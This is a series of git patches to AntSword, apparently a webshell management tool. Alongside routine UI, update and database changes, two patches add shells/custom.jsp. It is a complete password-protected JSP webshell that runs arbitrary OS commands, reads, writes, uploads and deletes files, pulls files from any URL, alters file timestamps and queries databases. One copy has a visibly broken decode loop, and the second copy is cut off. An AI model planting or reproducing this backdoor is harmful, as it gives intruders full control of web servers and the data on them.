From 58adad3744989757dfda6f4812752873d422fde6 Mon Sep 17 00:00:00 2001 From: antoor Date: Thu, 24 Mar 2016 10:25:02 +0800 Subject: [PATCH 01/16] =?UTF-8?q?=E4=BF=AE=E6=94=B9=E7=89=88=E6=9C=AC?= =?UTF-8?q?=E4=BF=A1=E6=81=AF=E4=B8=BA=E4=BB=8Epackage.json=E4=B8=AD?= =?UTF-8?q?=E6=8F=90=E5=8F=96?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- source/app.entry.jsx | 2 ++ source/modules/settings/update.jsx | 4 ++-- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/source/app.entry.jsx b/source/app.entry.jsx index dffdd4dd..315de69d 100644 --- a/source/app.entry.jsx +++ b/source/app.entry.jsx @@ -7,6 +7,7 @@ 'use strict'; +const fs = global.require('fs'); const electron = global.require('electron'); const remote = electron.remote; const ipcRenderer = electron.ipcRenderer; @@ -57,6 +58,7 @@ ipcRenderer.send('aproxy', { antSword['ipcRenderer'] = ipcRenderer; antSword['CacheManager'] = CacheManager; antSword['menubar'] = new Menubar(); +antSword['package'] = JSON.parse(fs.readFileSync('./package.json')); // 加载模块列表 // antSword['tabbar'] = new dhtmlXTabBar(document.getElementById('container')); diff --git a/source/modules/settings/update.jsx b/source/modules/settings/update.jsx index 7d934e24..c10ede5a 100644 --- a/source/modules/settings/update.jsx +++ b/source/modules/settings/update.jsx @@ -22,11 +22,11 @@ class Update { // status cell.attachHTMLString(` - 当前版本:1.0.0 + 当前版本:${antSword['package']['version']}
暂不支持在线更新!
- 请访问https://github.com/antoor/antSword获取最新版本! + 请访问${antSword['package']['repository']['url']}获取最新版本! `); } } From 12c1a8cc38451f9c1677fe3c1d7465b4d52a580d Mon Sep 17 00:00:00 2001 From: antoor Date: Thu, 24 Mar 2016 10:56:12 +0800 Subject: [PATCH 02/16] =?UTF-8?q?=E5=A2=9E=E5=8A=A0=E6=96=87=E4=BB=B6?= =?UTF-8?q?=E7=AE=A1=E7=90=86=E6=A8=A1=E5=9D=97=E5=8F=8C=E5=87=BB=E6=96=87?= =?UTF-8?q?=E4=BB=B6=E8=BF=9B=E8=A1=8C=E7=BC=96=E8=BE=91=E5=8A=9F=E8=83=BD?= =?UTF-8?q?=E5=91=A2=E4=B8=AA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- CHANGELOG.md | 6 ++++-- source/modules/filemanager/files.jsx | 4 +++- 2 files changed, 7 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 87b14514..9808a537 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,7 +4,10 @@ ## 2016/03 -### /23 +### /24 + 1. 文件管理双击文件进行编辑 //size < 100kb + +### /23 (v1.1.0) 1. 优化数据处理截断算法 ### /22 @@ -37,7 +40,6 @@ * 数据发包代理功能 * 在线检测/下载/安装更新 * 虚拟终端复制粘贴tab补全 - * 文件管理双击文件进行编辑 //size < 1024kb * 插件模块 //实时编写插件执行、UI以及各种操作API设计 * 扩展模块 //用于扩展一些高级的功能,懒人必备 * 代码重构 diff --git a/source/modules/filemanager/files.jsx b/source/modules/filemanager/files.jsx index 1d5aafed..7afc5a88 100644 --- a/source/modules/filemanager/files.jsx +++ b/source/modules/filemanager/files.jsx @@ -350,8 +350,10 @@ class Files { //支持编辑文件(php,js,txt..)则启动编辑器,如果是二进制或压缩等文件(exe,dll,zip,rar..)则下载) grid.attachEvent('onRowDblClicked', (id, lid, event) => { const fname = grid.getRowAttribute(id, 'fname'); + const fsize = grid.getRowAttribute(id, 'fsize'); if (!fname.endsWith('/')) { - // grid.callEvent('onRightClick', [id, lid, event]); + // 双击编辑size < 100kb 文件 + fsize <= 100 * 1024 ? manager.editFile(fname) : null; }else{ self.gotoPath(fname); } From 666206b38f24ac035d37f322023ae3dd44c9c55f Mon Sep 17 00:00:00 2001 From: antoor Date: Fri, 25 Mar 2016 14:11:13 +0800 Subject: [PATCH 03/16] =?UTF-8?q?=E6=B5=8B=E8=AF=95=E6=9B=B4=E6=96=B0?= =?UTF-8?q?=E4=BF=A1=E6=81=AF?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- package.json | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/package.json b/package.json index a2a4c1a0..7552bb4b 100644 --- a/package.json +++ b/package.json @@ -27,6 +27,13 @@ "type": "git", "url": "https://github.com/antoor/antSword" }, + "update": { + "md5": "6eaa05e4a615e0301e8b39523a0dc8a4", + "logs": "新增在线更新功能\n新增文件管理模块双击文件打开编辑窗口(如果文件大小<100kb)", + "sources": { + "github": "https://github.com/antoor/antSword/releases/download/1.1.0/app.asar.zip" + } + }, "bugs": { "url": "https://github.com/antoor/antSword/issues" }, From 05d6854f4f5aaf3e6a52c27f92aaadc31d1a0ed7 Mon Sep 17 00:00:00 2001 From: antoor Date: Fri, 25 Mar 2016 15:18:47 +0800 Subject: [PATCH 04/16] update-test --- package.json | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/package.json b/package.json index 7552bb4b..70a463f0 100644 --- a/package.json +++ b/package.json @@ -31,7 +31,8 @@ "md5": "6eaa05e4a615e0301e8b39523a0dc8a4", "logs": "新增在线更新功能\n新增文件管理模块双击文件打开编辑窗口(如果文件大小<100kb)", "sources": { - "github": "https://github.com/antoor/antSword/releases/download/1.1.0/app.asar.zip" + "github": "https://github.com/antoor/antSword/releases/download/1.1.0/app.asar.zip", + "local": "http://localhost:8000/app.asar.zip" } }, "bugs": { From 5c875c95fd0d555633c3e7b09c3bce2bb06cc94a Mon Sep 17 00:00:00 2001 From: antoor Date: Fri, 25 Mar 2016 17:55:28 +0800 Subject: [PATCH 05/16] update-test --- package.json | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/package.json b/package.json index 70a463f0..b5ac154d 100644 --- a/package.json +++ b/package.json @@ -9,6 +9,7 @@ "babel-preset-es2015": "^6.6.0", "babel-preset-stage-0": "^6.5.0", "electron-prebuilt": "^0.36.10", + "extract-zip": "^1.5.0", "iconv-lite": "^0.4.13", "lib-qqwry": "^0.0.5", "log4js": "^0.6.29", @@ -28,11 +29,11 @@ "url": "https://github.com/antoor/antSword" }, "update": { - "md5": "6eaa05e4a615e0301e8b39523a0dc8a4", + "md5": "f65b2d13c639ac1a21bb859c242dc033", "logs": "新增在线更新功能\n新增文件管理模块双击文件打开编辑窗口(如果文件大小<100kb)", "sources": { "github": "https://github.com/antoor/antSword/releases/download/1.1.0/app.asar.zip", - "local": "http://localhost:8000/app.asar.zip" + "local": "http://localhost:8000/1.1.0/update.zip" } }, "bugs": { From a379ae6bb077bd3aff3810ae2fd3ee190499f706 Mon Sep 17 00:00:00 2001 From: Medicean Date: Sat, 26 Mar 2016 03:08:46 +0800 Subject: [PATCH 06/16] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20jsp=20shell=20?= =?UTF-8?q?=E6=A0=B7=E6=9C=AC,=E4=BF=AE=E6=AD=A3custom=E6=A8=A1=E5=BC=8F?= =?UTF-8?q?=E6=95=B0=E6=8D=AE=E5=BA=93=E9=83=A8=E5=88=86=E9=80=BB=E8=BE=91?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- CHANGELOG.md | 5 + shells/custom.jsp | 357 ++++++++++++++++++ .../core/custom/template/database/default.jsx | 16 +- source/modules/database/custom/index.jsx | 24 +- 4 files changed, 385 insertions(+), 17 deletions(-) create mode 100644 shells/custom.jsp diff --git a/CHANGELOG.md b/CHANGELOG.md index 9808a537..ef57c45a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,11 @@ ## 2016/03 +### /26 + 1. 调整 Custom 方式数据库部分代码 + 2. 添加 Shells 目录, 用于存放 shell 样本代码 + 3. 添加 `custom.jsp` 服务端样本代码 + ### /24 1. 文件管理双击文件进行编辑 //size < 100kb diff --git a/shells/custom.jsp b/shells/custom.jsp new file mode 100644 index 00000000..02abdaa6 --- /dev/null +++ b/shells/custom.jsp @@ -0,0 +1,357 @@ +<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%> +<%! + /** + * AntSword JSP Spy + * + * AntSword 最低版本:v1.1-dev,使用方式 custom 模式连接 + * Date: 2016/03/26 v1 + * 1. 文件系统 和 terminal 管理 + * 2. mysql 数据库支持 + * 3. 支持 base64 和 hex 编码 + **/ + String Pwd = "a"; //连接密码 + String encoder = "base64"; // 数据编码 + //String encoder = "hex"; + String cs = "UTF-8"; + String EC(String s) throws Exception { + if(encoder.equals("hex") || encoder == "hex") return s; + return new String(s.getBytes("ISO-8859-1"), cs); + } + + String showDatabases(String encode, String conn) throws Exception { + String sql = "show databases"; // mysql + String columnsep = "\t"; + String rowsep = ""; + return executeSQL(encode, conn, sql, columnsep, rowsep, false); + } + + String showTables(String encode, String conn, String dbname) throws Exception { + String sql = "show tables from " + dbname; // mysql + String columnsep = "\t"; + String rowsep = ""; + return executeSQL(encode, conn, sql, columnsep, rowsep, false); + } + + String showColumns(String encode, String conn, String dbname, String table) throws Exception { + String columnsep = "\t"; + String rowsep = ""; + String sql = "select * from " + dbname + "." + table + " limit 0,0"; // mysql + return executeSQL(encode, conn, sql, columnsep, rowsep, true); + } + + String query(String encode, String conn, String sql) throws Exception { + String columnsep = "\t|\t"; // general + String rowsep = "\r\n"; + return executeSQL(encode, conn, sql, columnsep, rowsep, true); + } + + String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname) + throws Exception { + String ret = ""; + conn = (EC(conn)); + String[] x = conn.trim().replace("\r\n", "\n").split("\n"); + Class.forName(x[0].trim()); + String url = x[1] + "&characterEncoding=" + decode(EC(encode),encoder); + Connection c = DriverManager.getConnection(url); + Statement stmt = c.createStatement(); + ResultSet rs = stmt.executeQuery(sql); + ResultSetMetaData rsmd = rs.getMetaData(); + + if (needcoluname) { + for (int i = 1; i <= rsmd.getColumnCount(); i++) { + String columnName = rsmd.getColumnName(i); + ret += columnName + columnsep; + } + ret += rowsep; + } + + while (rs.next()) { + for (int i = 1; i <= rsmd.getColumnCount(); i++) { + String columnValue = rs.getString(i); + ret += columnValue + columnsep; + } + ret += rowsep; + } + return ret; + } + + String WwwRootPathCode(HttpServletRequest r) throws Exception { + String d = r.getSession().getServletContext().getRealPath("/"); + String s = ""; + if (!d.substring(0, 1).equals("/")) { + File[] roots = File.listRoots(); + for (int i = 0; i < roots.length; i++) { + s += roots[i].toString().substring(0, 2) + ""; + } + } else { + s += "/"; + } + return s; + } + + String FileTreeCode(String dirPath) throws Exception { + File oF = new File(dirPath), l[] = oF.listFiles(); + String s = "", sT, sQ, sF = ""; + java.util.Date dt; + SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + for (int i = 0; i < l.length; i++) { + dt = new java.util.Date(l[i].lastModified()); + sT = fm.format(dt); + sQ = l[i].canRead() ? "R" : ""; + sQ += l[i].canWrite() ? " W" : ""; + if (l[i].isDirectory()) { + s += l[i].getName() + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n"; + } else { + sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n"; + } + } + return s += sF; + } + + String ReadFileCode(String filePath) throws Exception { + String l = "", s = ""; + BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath)))); + while ((l = br.readLine()) != null) { + s += l + "\r\n"; + } + br.close(); + return s; + } + + String WriteFileCode(String filePath, String fileContext) throws Exception { + BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(filePath)))); + bw.write(fileContext); + bw.close(); + return "1"; + } + + String DeleteFileOrDirCode(String fileOrDirPath) throws Exception { + File f = new File(fileOrDirPath); + if (f.isDirectory()) { + File x[] = f.listFiles(); + for (int k = 0; k < x.length; k++) { + if (!x[k].delete()) { + DeleteFileOrDirCode(x[k].getPath()); + } + } + } + f.delete(); + return "1"; + } + + void DownloadFileCode(String filePath, HttpServletResponse r) throws Exception { + int n; + byte[] b = new byte[512]; + r.reset(); + ServletOutputStream os = r.getOutputStream(); + BufferedInputStream is = new BufferedInputStream(new FileInputStream(filePath)); + os.write(("->|").getBytes(), 0, 3); + while ((n = is.read(b, 0, 512)) != -1) { + os.write(b, 0, n); + } + os.write(("|<-").getBytes(), 0, 3); + os.close(); + is.close(); + } + + String UploadFileCode(String savefilePath, String fileHexContext) throws Exception { + String h = "0123456789ABCDEF"; + File f = new File(savefilePath); + f.createNewFile(); + FileOutputStream os = new FileOutputStream(f); + for (int i = 0; i < fileHexContext.length(); i += 2) { + os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1)))); + } + os.close(); + return "1"; + } + + String CopyFileOrDirCode(String sourceFilePath, String targetFilePath) throws Exception { + File sf = new File(sourceFilePath), df = new File(targetFilePath); + if (sf.isDirectory()) { + if (!df.exists()) { + df.mkdir(); + } + File z[] = sf.listFiles(); + for (int j = 0; j < z.length; j++) { + CopyFileOrDirCode(sourceFilePath + "/" + z[j].getName(), targetFilePath + "/" + z[j].getName()); + } + } else { + FileInputStream is = new FileInputStream(sf); + FileOutputStream os = new FileOutputStream(df); + int n; + byte[] b = new byte[1024]; + while ((n = is.read(b, 0, 1024)) != -1) { + os.write(b, 0, n); + } + is.close(); + os.close(); + } + return "1"; + } + + String RenameFileOrDirCode(String oldName, String newName) throws Exception { + File sf = new File(oldName), df = new File(newName); + sf.renameTo(df); + return "1"; + } + + String CreateDirCode(String dirPath) throws Exception { + File f = new File(dirPath); + f.mkdir(); + return "1"; + } + + String ModifyFileOrDirTimeCode(String fileOrDirPath, String aTime) throws Exception { + File f = new File(fileOrDirPath); + SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + java.util.Date dt = fm.parse(aTime); + f.setLastModified(dt.getTime()); + return "1"; + } + + String WgetCode(String urlPath, String saveFilePath) throws Exception { + URL u = new URL(urlPath); + int n = 0; + FileOutputStream os = new FileOutputStream(saveFilePath); + HttpURLConnection h = (HttpURLConnection) u.openConnection(); + InputStream is = h.getInputStream(); + byte[] b = new byte[512]; + while ((n = is.read(b)) != -1) { + os.write(b, 0, n); + } + os.close(); + is.close(); + h.disconnect(); + return "1"; + } + + String SysInfoCode(HttpServletRequest r) throws Exception { + String d = r.getSession().getServletContext().getRealPath("/"); + String serverInfo = System.getProperty("os.name"); + String separator = File.separator; + String user = System.getProperty("user.name"); + String driverlist = WwwRootPathCode(r); + return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user; + } + + boolean isWin() { + String osname = System.getProperty("os.name"); + osname = osname.toLowerCase(); + if (osname.startsWith("win")) + return true; + return false; + } + + String ExecuteCommandCode(String cmdPath, String command) throws Exception { + StringBuffer sb = new StringBuffer(""); + String[] c = { cmdPath, !isWin() ? "-c" : "/c", command }; + Process p = Runtime.getRuntime().exec(c); + CopyInputStream(p.getInputStream(), sb); + CopyInputStream(p.getErrorStream(), sb); + return sb.toString(); + } + + String decode(String str) { + byte[] bt = null; + try { + sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder(); + bt = decoder.decodeBuffer(str); + } catch (IOException e) { + e.printStackTrace(); + } + return new String(bt); + } + String decode(String str, String encode){ + if(encode.equals("hex") || encode=="hex"){ + if(str=="null"||str.equals("null")){ + return ""; + } + StringBuilder sb = new StringBuilder(); + StringBuilder temp = new StringBuilder(); + try{ + for(int i=0; i +<% + response.setContentType("text/html"); + response.setCharacterEncoding(cs); + StringBuffer sb = new StringBuffer(""); + try { + String funccode = EC(request.getParameter(Pwd) + ""); + String z0 = decode(EC(request.getParameter("z0")+""), encoder); + String z1 = decode(EC(request.getParameter("z1") + ""), encoder); + String z2 = decode(EC(request.getParameter("z2") + ""), encoder); + String z3 = decode(EC(request.getParameter("z3") + ""), encoder); + String[] pars = { z0, z1, z2, z3}; + sb.append("->|"); + + if (funccode.equals("B")) { + sb.append(FileTreeCode(pars[1])); + } else if (funccode.equals("C")) { + sb.append(ReadFileCode(pars[1])); + } else if (funccode.equals("D")) { + sb.append(WriteFileCode(pars[1], pars[2])); + } else if (funccode.equals("E")) { + sb.append(DeleteFileOrDirCode(pars[1])); + } else if (funccode.equals("F")) { + DownloadFileCode(pars[0], response); + } else if (funccode.equals("U")) { + sb.append(UploadFileCode(pars[1], pars[2])); + } else if (funccode.equals("H")) { + sb.append(CopyFileOrDirCode(pars[1], pars[2])); + } else if (funccode.equals("I")) { + sb.append(RenameFileOrDirCode(pars[1], pars[2])); + } else if (funccode.equals("J")) { + sb.append(CreateDirCode(pars[1])); + } else if (funccode.equals("K")) { + sb.append(ModifyFileOrDirTimeCode(pars[1], pars[2])); + } else if (funccode.equals("L")) { + sb.append(WgetCode(pars[1], pars[2])); + } else if (funccode.equals("M")) { + sb.append(ExecuteCommandCode(pars[1], pars[2])); + } else if (funccode.equals("N")) { + sb.append(showDatabases(pars[0], pars[1])); + } else if (funccode.equals("O")) { + sb.append(showTables(pars[0], pars[1], pars[2])); + } else if (funccode.equals("P")) { + sb.append(showColumns(pars[0], pars[1], pars[2], pars[3])); + } else if (funccode.equals("Q")) { + sb.append(query(pars[0], pars[1], pars[2])); + } else if (funccode.equals("A")) { + sb.append(SysInfoCode(request)); + } + } catch (Exception e) { + sb.append("ERROR" + "://" + e.toString()); + } + sb.append("|<-"); + out.print(sb.toString()); +%> diff --git a/source/core/custom/template/database/default.jsx b/source/core/custom/template/database/default.jsx index 90f58f95..a55025a7 100644 --- a/source/core/custom/template/database/default.jsx +++ b/source/core/custom/template/database/default.jsx @@ -1,11 +1,12 @@ -// +// // 默认代码模板 -// +// // @params // :encode SHELL编码 // :conn 数据库连接字符串 // :sql 执行SQL语句 -// +// :db 数据库名 +// :table 表名 module.exports = { show_databases: { @@ -16,12 +17,15 @@ module.exports = { show_tables: { _: 'O', 'z0': '#{encode}', - 'z1': '#{conn}' + 'z1': '#{conn}', + 'z2': '#{db}' }, show_columns: { _: 'P', 'z0': '#{encode}', - 'z1': '#{conn}' + 'z1': '#{conn}', + 'z2': '#{db}', + 'z3': '#{table}' }, query: { _: 'Q', @@ -29,4 +33,4 @@ module.exports = { 'z1': '#{conn}', 'z2': '#{sql}' } -} \ No newline at end of file +} diff --git a/source/modules/database/custom/index.jsx b/source/modules/database/custom/index.jsx index 0b736d39..10a13675 100644 --- a/source/modules/database/custom/index.jsx +++ b/source/modules/database/custom/index.jsx @@ -1,7 +1,7 @@ -// +// // 数据库驱动::ASP // 支持数据库:access,sqlserver,mysql -// +// class ASP { @@ -9,9 +9,9 @@ class ASP { this.opt = opt; this.core = this.opt.core; this.manager = this.opt.super; - // + // // * 数据库驱动列表 - // + // this.conns = { 'mysql': 'com.mysql.jdbc.Driver\r\njdbc:mysql://localhost/test?user=root&password=123456', 'sqlserver': 'com.microsoft.sqlserver.jdbc.SQLServerDriver\r\njdbc:sqlserver://127.0.0.1:1433;databaseName=test;user=sa;password=123456', @@ -71,10 +71,11 @@ class ASP { // 生成查询SQL语句 case 'column': let _co = arr[1].split(':'); + const db = new Buffer(_co[1], 'base64').toString(); const table = new Buffer(_co[2], 'base64').toString(); const column = new Buffer(_co[3], 'base64').toString(); - const sql = `SELECT TOP 20 [${column}] FROM [${table}] ORDER BY 1 DESC;`; + const sql = `SELECT ${column} FROM ${db}.${table} ORDER BY 1 DESC;`; this.manager.query.editor.session.setValue(sql); break; } @@ -253,7 +254,7 @@ class ASP { { conn: conf['conn'], encode: this.manager.opt.encode, - dbname: ['access', 'microsoft_jet_oledb_4_0'].indexOf(conf['type']) > -1 ? conf['conn'].match(/[\w]+.mdb$/) : 'database' + db: ['access', 'microsoft_jet_oledb_4_0'].indexOf(conf['type']) > -1 ? conf['conn'].match(/[\w]+.mdb$/) : 'database' }, (ret) => { const arr = ret.split('\t'); if (arr.length === 1 && ret === '') { @@ -293,7 +294,7 @@ class ASP { { conn: conf['conn'], encode: this.manager.opt.encode, - dbname: db + db: db }, (ret) => { const arr = ret.split('\t'); const _db = new Buffer(db).toString('base64'); @@ -329,7 +330,8 @@ class ASP { { conn: conf['conn'], encode: this.manager.opt.encode, - table: conf['type'] === 'oracle' ? `SELECT * FROM (SELECT A.*,ROWNUM N FROM ${table} A) WHERE N=1` : `SELECT TOP 1 * FROM ${table}` + db: db, + table: table }, (ret) => { const arr = ret.split('\t'); const _db = new Buffer(db).toString('base64'); @@ -352,8 +354,8 @@ class ASP { // 更新编辑器SQL语句 this.manager.query.editor.session.setValue( conf['type'] === 'oracle' - ? `SELECT * FROM (SELECT A.*,ROWNUM N FROM ${table} A ORDER BY 1 DESC) WHERE N>0 AND N<=20` - : `SELECT TOP 20 * FROM ${table} ORDER BY 1 DESC;`); + ? `SELECT * FROM (SELECT A.*,ROWNUM N FROM ${db}.${table} A ORDER BY 1 DESC) WHERE N>0 AND N<=20` + : `SELECT * FROM ${db}.${table} ORDER BY 1 DESC LIMIT 0,20;`); this.manager.list.layout.progressOff(); }); } @@ -454,4 +456,4 @@ class ASP { } -module.exports = ASP; \ No newline at end of file +module.exports = ASP; From aa20261d5717e81f5d7be3dcb28f2226b4add65f Mon Sep 17 00:00:00 2001 From: antoor Date: Sat, 26 Mar 2016 17:56:54 +0800 Subject: [PATCH 07/16] =?UTF-8?q?=E6=9B=B4=E6=96=B0=E6=96=87=E4=BB=B6?= =?UTF-8?q?=E7=AE=A1=E7=90=86=E5=8F=8C=E5=87=BB=E6=93=8D=E4=BD=9C?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- CHANGELOG.md | 4 +++- source/modules/filemanager/files.jsx | 6 +++--- 2 files changed, 6 insertions(+), 4 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 9808a537..d0482c5f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,9 @@ ## 2016/03 +### /26 + 1. 文件管理双击:size < 100kb ? 编辑 : 下载 + ### /24 1. 文件管理双击文件进行编辑 //size < 100kb @@ -37,7 +40,6 @@ # 待做事项 * 数据高级搜索功能 * 数据库配置编辑功能 - * 数据发包代理功能 * 在线检测/下载/安装更新 * 虚拟终端复制粘贴tab补全 * 插件模块 //实时编写插件执行、UI以及各种操作API设计 diff --git a/source/modules/filemanager/files.jsx b/source/modules/filemanager/files.jsx index 7afc5a88..11bbc978 100644 --- a/source/modules/filemanager/files.jsx +++ b/source/modules/filemanager/files.jsx @@ -346,14 +346,14 @@ class Files { bmenu.hide(); }); - // 双击::列出数据&&查看/编辑/下载文件(支持查看程序(png|jpg|gif..)则查看 - //支持编辑文件(php,js,txt..)则启动编辑器,如果是二进制或压缩等文件(exe,dll,zip,rar..)则下载) + // 双击文件 + // :如果size < 100kb,则进行编辑,否则进行下载 grid.attachEvent('onRowDblClicked', (id, lid, event) => { const fname = grid.getRowAttribute(id, 'fname'); const fsize = grid.getRowAttribute(id, 'fsize'); if (!fname.endsWith('/')) { // 双击编辑size < 100kb 文件 - fsize <= 100 * 1024 ? manager.editFile(fname) : null; + fsize <= 100 * 1024 ? manager.editFile(fname) : manager.downloadFile(fname, fsize); }else{ self.gotoPath(fname); } From dcf037fe274bd14113c0d7d0f2ddbca0599bac2e Mon Sep 17 00:00:00 2001 From: antoor Date: Sat, 26 Mar 2016 22:18:32 +0800 Subject: [PATCH 08/16] update-test --- package.json | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/package.json b/package.json index b5ac154d..777d86a5 100644 --- a/package.json +++ b/package.json @@ -29,11 +29,11 @@ "url": "https://github.com/antoor/antSword" }, "update": { - "md5": "f65b2d13c639ac1a21bb859c242dc033", - "logs": "新增在线更新功能\n新增文件管理模块双击文件打开编辑窗口(如果文件大小<100kb)", + "md5": "f7287aa765941d1e039f5b654344ccc5", + "logs": "测试更新日志1\n测试更新日志2\n新增在线更新功能\n新增文件管理模块双击文件打开编辑窗口(如果文件大小<100kb)", "sources": { - "github": "https://github.com/antoor/antSword/releases/download/1.1.0/app.asar.zip", - "local": "http://localhost:8000/1.1.0/update.zip" + "local": "http://localhost:8000/1.1.0/update.zip", + "github": "https://github.com/antoor/antSword/releases/download/1.1.0/app.asar.zip" } }, "bugs": { From befc6cd6245115b049c6861a2dc2e3253a86a020 Mon Sep 17 00:00:00 2001 From: antoor Date: Sat, 26 Mar 2016 23:08:23 +0800 Subject: [PATCH 09/16] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20jsp=20shell=20?= =?UTF-8?q?=E6=A0=B7=E6=9C=AC=E6=96=87=E4=BB=B6,=E4=BF=AE=E6=AD=A3=20custo?= =?UTF-8?q?m=20=E6=A8=A1=E5=BC=8F=E6=95=B0=E6=8D=AE=E5=BA=93=E9=83=A8?= =?UTF-8?q?=E5=88=86=E9=80=BB=E8=BE=91?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- CHANGELOG.md | 3 + README.md | 2 +- shells/custom.jsp | 357 ++++++++++++++++++ .../core/custom/template/database/default.jsx | 16 +- source/modules/database/custom/index.jsx | 24 +- 5 files changed, 384 insertions(+), 18 deletions(-) create mode 100644 shells/custom.jsp diff --git a/CHANGELOG.md b/CHANGELOG.md index d0482c5f..8fb53b12 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,9 @@ ### /26 1. 文件管理双击:size < 100kb ? 编辑 : 下载 + 2. 调整 Custom 方式数据库部分代码 + 3. 添加 Shells 目录, 用于存放 shell 样本代码 + 4. 添加 `custom.jsp` 服务端样本代码 ### /24 1. 文件管理双击文件进行编辑 //size < 100kb diff --git a/README.md b/README.md index feccf016..98120d3f 100644 --- a/README.md +++ b/README.md @@ -5,7 +5,7 @@ **任何人不得将其用于非法用途以及盈利等目的,也禁止未经允许私自修改打包进行发布,否则后果自行承担并将追究其相关责任!** [![node](https://img.shields.io/badge/node-v4.0+-green.svg?style=flat-square)](https://nodejs.org/en/download/) -[![release](https://img.shields.io/badge/release-v1.0.0-blue.svg?style=flat-square)](https://github.com/antoor/antSword/releases/tag/1.0.0) +[![release](https://img.shields.io/badge/release-v1.1.0-blue.svg?style=flat-square)](https://github.com/antoor/antSword/releases/tag/1.1.0) ## 设计思想 > 中国蚁剑采用了[Electron](http://electron.atom.io/)作为外壳,`ES6`作为前端代码编写语言,搭配`Babel`&&`Webpack`进行组件化构建编译,外加`iconv-lite`编码解码模块以及`superagent`数据发送处理模块还有`nedb`数据存储模块,组成了这个年轻而又充满活力的新一代大杀器。 diff --git a/shells/custom.jsp b/shells/custom.jsp new file mode 100644 index 00000000..02abdaa6 --- /dev/null +++ b/shells/custom.jsp @@ -0,0 +1,357 @@ +<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%> +<%! + /** + * AntSword JSP Spy + * + * AntSword 最低版本:v1.1-dev,使用方式 custom 模式连接 + * Date: 2016/03/26 v1 + * 1. 文件系统 和 terminal 管理 + * 2. mysql 数据库支持 + * 3. 支持 base64 和 hex 编码 + **/ + String Pwd = "a"; //连接密码 + String encoder = "base64"; // 数据编码 + //String encoder = "hex"; + String cs = "UTF-8"; + String EC(String s) throws Exception { + if(encoder.equals("hex") || encoder == "hex") return s; + return new String(s.getBytes("ISO-8859-1"), cs); + } + + String showDatabases(String encode, String conn) throws Exception { + String sql = "show databases"; // mysql + String columnsep = "\t"; + String rowsep = ""; + return executeSQL(encode, conn, sql, columnsep, rowsep, false); + } + + String showTables(String encode, String conn, String dbname) throws Exception { + String sql = "show tables from " + dbname; // mysql + String columnsep = "\t"; + String rowsep = ""; + return executeSQL(encode, conn, sql, columnsep, rowsep, false); + } + + String showColumns(String encode, String conn, String dbname, String table) throws Exception { + String columnsep = "\t"; + String rowsep = ""; + String sql = "select * from " + dbname + "." + table + " limit 0,0"; // mysql + return executeSQL(encode, conn, sql, columnsep, rowsep, true); + } + + String query(String encode, String conn, String sql) throws Exception { + String columnsep = "\t|\t"; // general + String rowsep = "\r\n"; + return executeSQL(encode, conn, sql, columnsep, rowsep, true); + } + + String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname) + throws Exception { + String ret = ""; + conn = (EC(conn)); + String[] x = conn.trim().replace("\r\n", "\n").split("\n"); + Class.forName(x[0].trim()); + String url = x[1] + "&characterEncoding=" + decode(EC(encode),encoder); + Connection c = DriverManager.getConnection(url); + Statement stmt = c.createStatement(); + ResultSet rs = stmt.executeQuery(sql); + ResultSetMetaData rsmd = rs.getMetaData(); + + if (needcoluname) { + for (int i = 1; i <= rsmd.getColumnCount(); i++) { + String columnName = rsmd.getColumnName(i); + ret += columnName + columnsep; + } + ret += rowsep; + } + + while (rs.next()) { + for (int i = 1; i <= rsmd.getColumnCount(); i++) { + String columnValue = rs.getString(i); + ret += columnValue + columnsep; + } + ret += rowsep; + } + return ret; + } + + String WwwRootPathCode(HttpServletRequest r) throws Exception { + String d = r.getSession().getServletContext().getRealPath("/"); + String s = ""; + if (!d.substring(0, 1).equals("/")) { + File[] roots = File.listRoots(); + for (int i = 0; i < roots.length; i++) { + s += roots[i].toString().substring(0, 2) + ""; + } + } else { + s += "/"; + } + return s; + } + + String FileTreeCode(String dirPath) throws Exception { + File oF = new File(dirPath), l[] = oF.listFiles(); + String s = "", sT, sQ, sF = ""; + java.util.Date dt; + SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + for (int i = 0; i < l.length; i++) { + dt = new java.util.Date(l[i].lastModified()); + sT = fm.format(dt); + 